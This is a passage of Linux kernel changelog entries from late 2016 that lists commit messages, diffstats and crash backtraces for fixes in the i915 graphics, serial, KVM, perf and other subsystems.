drivers/gpu/drm/i915/intel_dp.c | 71 +++++++++++++++++++++++------------------ 1 file changed, 40 insertions(+), 31 deletions(-) commit 5e33791e1f27c3207e7b44071e7c94a487d1eb39 Author: Paulo Zanoni Date: Fri Oct 7 17:28:57 2016 -0300 drm/i915/gen9: fix watermarks when using the pipe scaler Luckily, the necessary adjustments for when we're using the scaler are exactly the same as the ones needed on ILK+, so just reuse the function we already have. v2: Invert the patch order so stable backports get easier. Cc: stable@vger.kernel.org Signed-off-by: Paulo Zanoni Reviewed-by: Matt Roper Link: http://patchwork.freedesktop.org/patch/msgid/1475872138-16194-1-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit cfd7e3a20251b9ac95651d64556f87f86128a966) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit fd58753ead86ee289ea89fe26e1842f36e54b36c Author: Imre Deak Date: Thu Oct 13 14:34:06 2016 +0300 drm/i915: Fix mismatched INIT power domain disabling during suspend Currently the display INIT power domain disabling/enabling happens in a mismatched way in the suspend/resume_early hooks respectively. This can leave display power wells incorrectly disabled in the resume hook if the suspend sequence is aborted for some reason resulting in the suspend/resume hooks getting called but the suspend_late/resume_early hooks being skipped. In particular this change fixes "Unclaimed read from register 0x1e1204" on BYT/BSW triggered from i915_drm_resume()-> intel_pps_unlock_regs_wa() when suspending with /sys/power/pm_test set to devices. Fixes: 85e90679335f ("drm/i915: disable power wells on suspend") Cc: Ville Syrjälä Cc: David Weinehall Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1476358446-11621-1-git-send-email-imre.deak@intel.com (cherry picked from commit 4c494a5769cd0de92638b25960ba0158c36088a6) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_drv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit be4dd651ff79b9fddc46ef330afeedc6560fd1ca Author: Dan Carpenter Date: Thu Oct 13 11:55:08 2016 +0300 drm/i915: fix a read size argument We want to read 3 bytes here, but because the parenthesis are in the wrong place we instead read: sizeof(intel_dp->edp_dpcd) == sizeof(intel_dp->edp_dpcd) which is one byte. Fixes: fe5a66f91c88 ("drm/i915: Read PSR caps/intermediate freqs/etc. only once on eDP") Reviewed-by: Chris Wilson Cc: Signed-off-by: Dan Carpenter Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161013085508.GJ16198@mwanda (cherry picked from commit f7170e2eb8f6bf7ef2032cc0659cd38740bf5b97) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_dp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 47ed32483e1f1fc391c78466f5fd66f03078e9e4 Author: Chris Wilson Date: Wed Oct 12 12:48:26 2016 +0100 drm/i915: Use fence_write() from rpm resume During rpm resume we restore the fences, but we do not have the protection of struct_mutex. This rules out updating the activity tracking on the fences, and requires us to rely on the rpm as the serialisation barrier instead. [ 350.298052] [drm:intel_runtime_resume [i915]] Resuming device [ 350.308606] [ 350.310520] =============================== [ 350.315560] [ INFO: suspicious RCU usage. ] [ 350.320554] 4.8.0-rc8-bsw-rapl+ #3133 Tainted: G U W [ 350.327208] ------------------------------- [ 350.331977] ../drivers/gpu/drm/i915/i915_gem_request.h:371 suspicious rcu_dereference_protected() usage! [ 350.342619] [ 350.342619] other info that might help us debug this: [ 350.342619] [ 350.351593] [ 350.351593] rcu_scheduler_active = 1, debug_locks = 0 [ 350.358952] 3 locks held by Xorg/320: [ 350.363077] #0: (&dev->mode_config.mutex){+.+.+.}, at: [] drm_modeset_lock_all+0x3c/0xd0 [drm] [ 350.375162] #1: (crtc_ww_class_acquire){+.+.+.}, at: [] drm_modeset_lock_all+0x46/0xd0 [drm] [ 350.387022] #2: (crtc_ww_class_mutex){+.+.+.}, at: [] drm_modeset_lock+0x36/0x110 [drm] [ 350.398236] [ 350.398236] stack backtrace: [ 350.403196] CPU: 1 PID: 320 Comm: Xorg Tainted: G U W 4.8.0-rc8-bsw-rapl+ #3133 [ 350.412457] Hardware name: Intel Corporation CHERRYVIEW C0 PLATFORM/Braswell CRB, BIOS BRAS.X64.X088.R00.1510270350 10/27/2015 [ 350.425212] 0000000000000000 ffff8801680a78c8 ffffffff81332187 ffff88016c5c5000 [ 350.433611] 0000000000000001 ffff8801680a78f8 ffffffff810ca6da ffff88016cc8b0f0 [ 350.442012] ffff88016cc80000 ffff88016cc80000 ffff880177ad0000 ffff8801680a7948 [ 350.450409] Call Trace: [ 350.453165] [] dump_stack+0x67/0x90 [ 350.458931] [] lockdep_rcu_suspicious+0xea/0x120 [ 350.466002] [] fence_update+0xbd/0x670 [i915] [ 350.472766] [] i915_gem_restore_fences+0x52/0x70 [i915] [ 350.480496] [] vlv_resume_prepare+0x72/0x570 [i915] [ 350.487839] [] intel_runtime_resume+0x102/0x210 [i915] [ 350.495442] [] pci_pm_runtime_resume+0x7f/0xb0 [ 350.502274] [] ? pci_restore_standard_config+0x40/0x40 [ 350.509883] [] __rpm_callback+0x35/0x70 [ 350.516037] [] ? pci_restore_standard_config+0x40/0x40 [ 350.523646] [] rpm_callback+0x24/0x80 [ 350.529604] [] ? pci_restore_standard_config+0x40/0x40 [ 350.537212] [] rpm_resume+0x4ad/0x740 [ 350.543161] [] __pm_runtime_resume+0x51/0x80 [ 350.549824] [] intel_runtime_pm_get+0x28/0x90 [i915] [ 350.557265] [] intel_display_power_get+0x23/0x50 [i915] [ 350.565001] [] intel_atomic_commit_tail+0xdfd/0x10b0 [i915] [ 350.573106] [] ? drm_atomic_helper_swap_state+0x159/0x300 [drm_kms_helper] [ 350.582659] [] ? _raw_spin_unlock+0x31/0x50 [ 350.589205] [] ? drm_atomic_helper_swap_state+0x159/0x300 [drm_kms_helper] [ 350.598787] [] intel_atomic_commit+0x3b5/0x500 [i915] [ 350.606319] [] ? drm_atomic_set_crtc_for_connector+0xcc/0x100 [drm] [ 350.615209] [] drm_atomic_commit+0x49/0x50 [drm] [ 350.622242] [] drm_atomic_helper_set_config+0x88/0xc0 [drm_kms_helper] [ 350.631419] [] drm_mode_set_config_internal+0x6c/0x120 [drm] [ 350.639623] [] drm_mode_setcrtc+0x22c/0x4d0 [drm] [ 350.646760] [] drm_ioctl+0x209/0x460 [drm] [ 350.653217] [] ? drm_mode_getcrtc+0x150/0x150 [drm] [ 350.660536] [] ? __lock_is_held+0x4a/0x70 [ 350.666885] [] do_vfs_ioctl+0x93/0x6b0 [ 350.672939] [] ? __fget+0x113/0x200 [ 350.678797] [] ? __fget+0x5/0x200 [ 350.684361] [] SyS_ioctl+0x44/0x80 [ 350.690030] [] do_syscall_64+0x5b/0x120 [ 350.696184] [] entry_SYSCALL64_slow_path+0x25/0x25 Note we also have to remember the lesson from commit 4fc788f5ee3d ("drm/i915: Flush delayed fence releases after reset") where we have to flush any changes to the fence on restore. v2: Replace call to release user mmaps with an assertion that they have already been zapped. Fixes: 49ef5294cda2 ("drm/i915: Move fence tracking from object to vma") Reported-by: Ville Syrjälä Signed-off-by: Chris Wilson Cc: Ville Syrjälä Cc: Joonas Lahtinen Cc: Mika Kuoppala Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20161012114827.17031-1-chris@chris-wilson.co.uk (cherry picked from commit 4676dc838b37ed8c6f3da4571cb4a04cbd604801) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem_fence.c | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) commit 01c72d6c17dc524f04d4dbe361d214e423b35457 Author: Paulo Zanoni Date: Tue Oct 4 14:37:32 2016 -0300 drm/i915/gen9: fix DDB partitioning for multi-screen cases With the previous code we were only recomputing the DDB partitioning for the CRTCs included in the atomic commit, so any other active CRTCs would end up having their DDB registers zeroed. In this patch we make sure that the computed state starts as a copy of the current partitioning, and then we only zero the DDBs that we're actually going to recompute. How to reproduce the bug: 1 - Enable the primary plane on pipe A 2 - Enable the primary plane on pipe B 3 - Enable the cursor or sprite plane on pipe A Step 3 will zero the DDB partitioning for pipe B since it's not included in the commit that enabled the cursor or sprite for pipe A. I expect this to fix many FIFO underrun problems on gen9+. v2: - Mention the cursor on the steps to reproduce the problem (Paulo). - Add Testcase tag provided by Maarten (Maarten). Testcase: kms_cursor_legacy.cursorA-vs-flipB-atomic-transitions Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96226 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96828 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97450 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97596 Bugzilla: https://www.phoronix.com/scan.php?page=news_item&px=Intel-Skylake-Multi-Screen-Woes Cc: stable@vger.kernel.org Signed-off-by: Paulo Zanoni Reviewed-by: Lyude Link: http://patchwork.freedesktop.org/patch/msgid/1475602652-17326-1-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 5a920b85f2c6e3fd7d9dd9bb3f3345e9085e2360) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit 7a0e17bd5d5a20784431df24601bfafec9d8ec61 Author: Jani Nikula Date: Tue Oct 4 12:54:12 2016 +0300 drm/i915: workaround sparse warning on variable length arrays Fix sparse warning: drivers/gpu/drm/i915/intel_device_info.c:195:31: warning: Variable length array is used. In truth the array does have constant length, but sparse is too dumb to realize. This is a bit ugly, but silence the warning no matter what. Fixes: 91bedd34abf0 ("drm/i915/bdw: Check for slice, subslice and EU count for BDW") Reviewed-by: Joonas Lahtinen Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1475574853-4178-1-git-send-email-jani.nikula@intel.com (cherry picked from commit ff64aa1e630087381511c4d25de0657824f40efa) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_device_info.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9cccc76bb49ffcc0370a37a6c01368d69cc3b65b Author: Jani Nikula Date: Thu Sep 15 16:28:54 2016 +0300 drm/i915: keep declarations in i915_drv.h Fix sparse warnings: drivers/gpu/drm/i915/i915_drv.c:1179:5: warning: symbol 'i915_driver_load' was not declared. Should it be static? drivers/gpu/drm/i915/i915_drv.c:1267:6: warning: symbol 'i915_driver_unload' was not declared. Should it be static? drivers/gpu/drm/i915/i915_drv.c:2444:25: warning: symbol 'i915_pm_ops' was not declared. Should it be static? Fixes: 42f5551d2769 ("drm/i915: Split out the PCI driver interface to i915_pci.c") Cc: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473946137-1931-3-git-send-email-jani.nikula@intel.com (cherry picked from commit efab0698f94dd71fac5d946ad664a280441daedb) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_drv.h | 5 +++++ drivers/gpu/drm/i915/i915_pci.c | 7 ------- 2 files changed, 5 insertions(+), 7 deletions(-) commit 5747620257812530adda58cbff591fede6fb261e Author: Arnd Bergmann Date: Mon Oct 24 17:34:32 2016 +0200 netfilter: ip_vs_sync: fix bogus maybe-uninitialized warning Building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86 confuses the compiler to the point where it produces a rather dubious warning message: net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized] struct ip_vs_sync_conn_options opt; ^~~ net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] The problem appears to be a combination of a number of factors, including the __builtin_bswap32 compiler builtin being slightly odd, having a large amount of code inlined into a single function, and the way that some functions only get partially inlined here. I've spent way too much time trying to work out a way to improve the code, but the best I've come up with is to add an explicit memset right before the ip_vs_seq structure is first initialized here. When the compiler works correctly, this has absolutely no effect, but in the case that produces the warning, the warning disappears. In the process of analysing this warning, I also noticed that we use memcpy to copy the larger ip_vs_sync_conn_options structure over two members of the ip_vs_conn structure. This works because the layout is identical, but seems error-prone, so I'm changing this in the process to directly copy the two members. This change seemed to have no effect on the object code or the warning, but it deals with the same data, so I kept the two changes together. Signed-off-by: Arnd Bergmann Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Pablo Neira Ayuso net/netfilter/ipvs/ip_vs_sync.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit d0f4bce2bce7e998abc906f3590e9032af7a41ba Author: Rob Herring Date: Fri Oct 28 07:07:48 2016 -0500 tty: serial_core: fix NULL struct tty pointer access in uart_write_wakeup Since commit 761ed4a94582ab29 ("tty: serial_core: convert uart_close to use tty_port_close"), the serial console is broken on various systems and typing "reboot" splats the following on the serial console: INIT: Sending p[ 427.863916] BUG: unable to handle kernel NULL pointer dereference at 00000000000001e0 [ 427.885156] IP: [] tty_wakeup+0xc/0x70 [ 427.898337] PGD 0 [ 427.902051] [ 427.907498] Oops: 0000 [#1] PREEMPT SMP [ 427.917635] Modules linked in: nfsv3 nfs_acl nfs fscache lockd sunrpc grace edd af_packet cpufreq_conservative cpufreq_userspace cpufreq_powersave fuse loop md_mod dm_mod joydev hid_generic usbhid ipmi_ssif ohci_pci ohci_hcd ehci_pci ehci_hcd e1000e ptp firewire_ohci edac_core pps_core tpm_infineon sp5100_tco firewire_core acpi_cpufreq serio_raw pcspkr fjes usbcore shpchp edac_mce_amd tpm_tis ipmi_si tpm_tis_core i2c_piix4 k10temp sg ipmi_msghandler tpm sr_mod button cdrom kvm_amd kvm irqbypass crc_itu_t ast ttm drm_kms_helper drm fb_sys_fops sysimgblt sysfillrect syscopyarea i2c_algo_bit scsi_dh_rdac scsi_dh_alua scsi_dh_emc scsi_dh_hp_sw ata_generic pata_atiixp [ 428.054179] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.9.0-rc1-1.g73e3f23-default #1 [ 428.072868] Hardware name: System manufacturer System Product Name/KGP(M)E-D16, BIOS 0902 12/03/2010 [ 428.094755] task: ffffffffa2c0d500 task.stack: ffffffffa2c00000 [ 428.109717] RIP: 0010:[] [] tty_wakeup+0xc/0x70 [ 428.128407] RSP: 0018:ffff9a1a5fc03df8 EFLAGS: 00010086 [ 428.142184] RAX: ffff9a1857258000 RBX: ffffffffa3050ea0 RCX: 0000000000000000 [ 428.159649] RDX: 000000000000001b RSI: 0000000000000000 RDI: 0000000000000000 [ 428.177109] RBP: ffff9a1a5fc03e08 R08: 0000000000000000 R09: 0000000000000000 [ 428.194547] R10: 0000000000021c77 R11: 0000000000000000 R12: ffff9a1857258000 [ 428.212002] R13: 0000000000000000 R14: 0000000000000020 R15: 0000000000000020 [ 428.229481] FS: 0000000000000000(0000) GS:ffff9a1a5fc00000(0000) knlGS:0000000000000000 [ 428.248938] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 428.263726] CR2: 00000000000001e0 CR3: 0000000390c06000 CR4: 00000000000006f0 [ 428.281331] Stack: [ 428.288696] ffffffffa3050ea0 ffff9a1857258000 ffff9a1a5fc03e18 ffffffffa24e0ab1 [ 428.307064] ffff9a1a5fc03e40 ffffffffa24e8865 ffffffffa3050ea0 00000000000000c2 [ 428.325456] 0000000000000046 ffff9a1a5fc03e78 ffffffffa24e8a5f ffffffffa3050ea0 [ 428.343905] Call Trace: [ 428.352319] [ 428.356216] [] uart_write_wakeup+0x21/0x30 The problem is for console ports, the serial port is not shutdown and interrupts may fire after the struct tty is gone. Simply calling the tty_port helper tty_port_tty_wakeup instead of tty_wakeup directly will ensure there is a valid struct tty. Fixes: 761ed4a94582ab29 ("tty: serial_core: convert uart_close to use tty_port_close") Reported-by: Borislav Petkov Reported-by: Mike Galbraith Cc: Jiri Slaby Cc: Greg Kroah-Hartman Cc: linux-serial@vger.kernel.org Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4dda864d73079a1eb01fab4ec29b97db150163bf Author: Geert Uytterhoeven Date: Fri Oct 28 07:07:47 2016 -0500 tty: serial_core: Fix serial console crash on port shutdown The port->console flag is always false, as uart_console() is called before the serial console has been registered. Hence for a serial port used as the console, uart_tty_port_shutdown() will still be called when userspace closes the port, powering it down. This may lead to a system lock up when the serial console driver writes to the serial port's registers. To fix this, move the setting of port->console after the call to uart_configure_port(), which registers the serial console. Fixes: 761ed4a94582ab29 ("tty: serial_core: convert uart_close to use tty_port_close") Reported-by: Niklas Söderlund Signed-off-by: Geert Uytterhoeven Acked-by: Rob Herring Tested-by: Mugunthan V N Tested-by: Niklas Söderlund [robh: rebased on tty-linus] Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 2 ++ 1 file changed, 2 insertions(+) commit 9bcffe7575b721d7b6d9b3090fe18809d9806e78 Author: Richard Genoud Date: Thu Oct 27 18:04:06 2016 +0200 tty/serial: at91: fix hardware handshake on Atmel platforms After commit 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled"), the hardware handshake wasn't functional anymore on Atmel platforms (beside SAMA5D2). To understand why, one has to understand the flag ATMEL_US_USMODE_HWHS first: Before commit 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled"), this flag was never set. Thus, the CTS/RTS where only handled by serial_core (and everything worked just fine). This commit introduced the use of the ATMEL_US_USMODE_HWHS flag, enabling it for all boards when the user space enables flow control. When the ATMEL_US_USMODE_HWHS is set, the Atmel USART controller handles a part of the flow control job: - disable the transmitter when the CTS pin gets high. - drive the RTS pin high when the DMA buffer transfer is completed or PDC RX buffer full or RX FIFO is beyond threshold. (depending on the controller version). NB: This feature is *not* mandatory for the flow control to work. (Nevertheless, it's very useful if low latencies are needed.) Now, the specifics of the ATMEL_US_USMODE_HWHS flag: - For platforms with DMAC and no FIFOs (sam9x25, sam9x35, sama5D3, sama5D4, sam9g15, sam9g25, sam9g35)* this feature simply doesn't work. ( source: https://lkml.org/lkml/2016/9/7/598 ) Tested it on sam9g35, the RTS pins always stays up, even when RXEN=1 or a new DMA transfer descriptor is set. => ATMEL_US_USMODE_HWHS must not be used for those platforms - For platforms with a PDC (sam926{0,1,3}, sam9g10, sam9g20, sam9g45, sam9g46)*, there's another kind of problem. Once the flag ATMEL_US_USMODE_HWHS is set, the RTS pin can't be driven anymore via RTSEN/RTSDIS in USART Control Register. The RTS pin can only be driven by enabling/disabling the receiver or setting RCR=RNCR=0 in the PDC (Receive (Next) Counter Register). => Doing this is beyond the scope of this patch and could add other bugs, so the original (and working) behaviour should be set for those platforms (meaning ATMEL_US_USMODE_HWHS flag should be unset). - For platforms with a FIFO (sama5d2)*, the RTS pin is driven according to the RX FIFO thresholds, and can be also driven by RTSEN/RTSDIS in USART Control Register. No problem here. (This was the use case of commit 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled")) NB: If the CTS pin declared as a GPIO in the DTS, (for instance cts-gpios = <&pioA PIN_PB31 GPIO_ACTIVE_LOW>), the transmitter will be disabled. => ATMEL_US_USMODE_HWHS flag can be set for this platform ONLY IF the CTS pin is not a GPIO. So, the only case when ATMEL_US_USMODE_HWHS can be enabled is when (atmel_use_fifo(port) && !mctrl_gpio_to_gpiod(atmel_port->gpios, UART_GPIO_CTS)) Tested on all Atmel USART controller flavours: AT91SAM9G35-CM (DMAC flavour), AT91SAM9G20-EK (PDC flavour), SAMA5D2xplained (FIFO flavour). * the list may not be exhaustive Cc: #4.4+ (beware, missing atmel_port variable) Fixes: 1cf6e8fc8341 ("tty/serial: at91: fix RTS line management when hardware handshake is enabled") Signed-off-by: Richard Genoud Acked-by: Alexandre Belloni Acked-by: Cyrille Pitchen Acked-by: Uwe Kleine-König Acked-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/atmel_serial.c | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) commit bd768e146624cbec7122ed15dead8daa137d909d Author: Ido Yariv Date: Fri Oct 21 12:39:57 2016 -0400 KVM: x86: fix wbinvd_dirty_mask use-after-free vcpu->arch.wbinvd_dirty_mask may still be used after freeing it, corrupting memory. For example, the following call trace may set a bit in an already freed cpu mask: kvm_arch_vcpu_load vcpu_load vmx_free_vcpu_nested vmx_free_vcpu kvm_arch_vcpu_free Fix this by deferring freeing of wbinvd_dirty_mask. Cc: stable@vger.kernel.org Signed-off-by: Ido Yariv Reviewed-by: Paolo Bonzini Signed-off-by: Radim Krčmář arch/x86/kvm/x86.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f92b7604149a55cb601fc0b52911b1e11f0f2514 Author: Imre Palik Date: Fri Oct 21 01:18:59 2016 -0700 perf/x86/intel: Honour the CPUID for number of fixed counters in hypervisors perf doesn't seem to honour the number of fixed counters specified by CPUID leaf 0xa. It always assumes that Intel CPUs have at least 3 fixed counters. So if some of the fixed counters are masked out by the hypervisor, it still tries to check/set them. This patch makes perf behave nicer when the kernel is running under a hypervisor that doesn't expose all the counters. This patch contains some ideas from Matt Wilson. Signed-off-by: Imre Palik Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Andi Kleen Cc: Alexander Kozyrev Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Artyom Kuanbekov Cc: David Carrillo-Cisneros Cc: David Woodhouse Cc: H. Peter Anvin Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Matt Wilson Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1477037939-15605-1-git-send-email-imrep.amz@gmail.com Signed-off-by: Ingo Molnar arch/x86/events/intel/core.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 5aab90ce1ec449912a2ebc4d45e0c85dac29e9dd Author: Jiri Olsa Date: Wed Oct 26 11:48:24 2016 +0200 perf/powerpc: Don't call perf_event_disable() from atomic context The trinity syscall fuzzer triggered following WARN() on powerpc: WARNING: CPU: 9 PID: 2998 at arch/powerpc/kernel/hw_breakpoint.c:278 ... NIP [c00000000093aedc] .hw_breakpoint_handler+0x28c/0x2b0 LR [c00000000093aed8] .hw_breakpoint_handler+0x288/0x2b0 Call Trace: [c0000002f7933580] [c00000000093aed8] .hw_breakpoint_handler+0x288/0x2b0 (unreliable) [c0000002f7933630] [c0000000000f671c] .notifier_call_chain+0x7c/0xf0 [c0000002f79336d0] [c0000000000f6abc] .__atomic_notifier_call_chain+0xbc/0x1c0 [c0000002f7933780] [c0000000000f6c40] .notify_die+0x70/0xd0 [c0000002f7933820] [c00000000001a74c] .do_break+0x4c/0x100 [c0000002f7933920] [c0000000000089fc] handle_dabr_fault+0x14/0x48 Followed by a lockdep warning: =============================== [ INFO: suspicious RCU usage. ] 4.8.0-rc5+ #7 Tainted: G W ------------------------------- ./include/linux/rcupdate.h:556 Illegal context switch in RCU read-side critical section! other info that might help us debug this: rcu_scheduler_active = 1, debug_locks = 0 2 locks held by ls/2998: #0: (rcu_read_lock){......}, at: [] .__atomic_notifier_call_chain+0x0/0x1c0 #1: (rcu_read_lock){......}, at: [] .hw_breakpoint_handler+0x0/0x2b0 stack backtrace: CPU: 9 PID: 2998 Comm: ls Tainted: G W 4.8.0-rc5+ #7 Call Trace: [c0000002f7933150] [c00000000094b1f8] .dump_stack+0xe0/0x14c (unreliable) [c0000002f79331e0] [c00000000013c468] .lockdep_rcu_suspicious+0x138/0x180 [c0000002f7933270] [c0000000001005d8] .___might_sleep+0x278/0x2e0 [c0000002f7933300] [c000000000935584] .mutex_lock_nested+0x64/0x5a0 [c0000002f7933410] [c00000000023084c] .perf_event_ctx_lock_nested+0x16c/0x380 [c0000002f7933500] [c000000000230a80] .perf_event_disable+0x20/0x60 [c0000002f7933580] [c00000000093aeec] .hw_breakpoint_handler+0x29c/0x2b0 [c0000002f7933630] [c0000000000f671c] .notifier_call_chain+0x7c/0xf0 [c0000002f79336d0] [c0000000000f6abc] .__atomic_notifier_call_chain+0xbc/0x1c0 [c0000002f7933780] [c0000000000f6c40] .notify_die+0x70/0xd0 [c0000002f7933820] [c00000000001a74c] .do_break+0x4c/0x100 [c0000002f7933920] [c0000000000089fc] handle_dabr_fault+0x14/0x48 While it looks like the first WARN() is probably valid, the other one is triggered by disabling event via perf_event_disable() from atomic context. The event is disabled here in case we were not able to emulate the instruction that hit the breakpoint. By disabling the event we unschedule the event and make sure it's not scheduled back. But we can't call perf_event_disable() from atomic context, instead we need to use the event's pending_disable irq_work method to disable it. Reported-by: Jan Stancek Signed-off-by: Jiri Olsa Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Huang Ying Cc: Jiri Olsa Cc: Linus Torvalds Cc: Michael Neuling Cc: Paul Mackerras Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161026094824.GA21397@krava Signed-off-by: Ingo Molnar arch/powerpc/kernel/hw_breakpoint.c | 2 +- include/linux/perf_event.h | 1 + kernel/events/core.c | 10 ++++++++-- 3 files changed, 10 insertions(+), 3 deletions(-) commit 0933840acf7b65d6d30a5b6089d882afea57aca3 Author: Jiri Olsa Date: Thu Oct 20 13:10:11 2016 +0200 perf/core: Protect PMU device removal with a 'pmu_bus_running' check, to fix CONFIG_DEBUG_TEST_DRIVER_REMOVE=y kernel panic CAI Qian reported a crash in the PMU uncore device removal code, enabled by the CONFIG_DEBUG_TEST_DRIVER_REMOVE=y option: https://marc.info/?l=linux-kernel&m=147688837328451 The reason for the crash is that perf_pmu_unregister() tries to remove a PMU device which is not added at this point. We add PMU devices only after pmu_bus is registered, which happens in the perf_event_sysfs_init() call and sets the 'pmu_bus_running' flag. The fix is to get the 'pmu_bus_running' flag state at the point the PMU is taken out of the PMU list and remove the device later only if it's set. Reported-by: CAI Qian Tested-by: CAI Qian Signed-off-by: Jiri Olsa Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Greg Kroah-Hartman Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Rob Herring Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161020111011.GA13361@krava Signed-off-by: Ingo Molnar kernel/events/core.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 1c27f646b18fb56308dff82784ca61951bad0b48 Author: Borislav Petkov Date: Thu Oct 27 14:36:23 2016 +0200 x86/microcode/AMD: Fix more fallout from CONFIG_RANDOMIZE_MEMORY=y We needed the physical address of the container in order to compute the offset within the relocated ramdisk. And we did this by doing __pa() on the virtual address. However, __pa() does checks whether the physical address is within PAGE_OFFSET and __START_KERNEL_map - see __phys_addr() - which fail if we have CONFIG_RANDOMIZE_MEMORY enabled: we feed a virtual address which *doesn't* have the randomization offset into a function which uses PAGE_OFFSET which *does* have that offset. This makes this check fire: VIRTUAL_BUG_ON((x > y) || !phys_addr_valid(x)); ^^^^^^ due to the randomization offset. The fix is as simple as using __pa_nodebug() because we do that randomization offset accounting later in that function ourselves. Reported-by: Bob Peterson Tested-by: Bob Peterson Signed-off-by: Borislav Petkov Cc: Andreas Gruenbacher Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Mel Gorman Cc: Peter Zijlstra Cc: Steven Whitehouse Cc: Thomas Gleixner Cc: linux-mm Cc: stable@vger.kernel.org # 4.9 Link: http://lkml.kernel.org/r/20161027123623.j2jri5bandimboff@pd.tnic Signed-off-by: Ingo Molnar arch/x86/kernel/cpu/microcode/amd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ff0513bdcdd71e84aa561cce216675d43fb41b8 Author: Arnd Bergmann Date: Tue Oct 18 00:05:31 2016 +0200 mtd: mtk: avoid warning in mtk_ecc_encode When building with -Wmaybe-uninitialized, gcc produces a silly false positive warning for the mtk_ecc_encode function: drivers/mtd/nand/mtk_ecc.c: In function 'mtk_ecc_encode': drivers/mtd/nand/mtk_ecc.c:402:15: error: 'val' may be used uninitialized in this function [-Werror=maybe-uninitialized] The function for some reason contains a double byte swap on big-endian builds to get the OOB data into the correct order again, and is written in a slightly confusing way. Using a simple memcpy32_fromio() to read the data simplifies it a lot so it becomes more readable and produces no warning. However, the output might not have 32-bit alignment, so we have to use another memcpy to avoid taking alignment faults or writing beyond the end of the array. Signed-off-by: Arnd Bergmann Tested-by: RogerCC Lin Signed-off-by: Boris Brezillon drivers/mtd/nand/mtk_ecc.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit 237d6e6884136923b6bd26d5141ebe1d065960c9 Author: Michael Holzheu Date: Tue Oct 25 16:24:28 2016 +0200 s390/hypfs: Use get_free_page() instead of kmalloc to 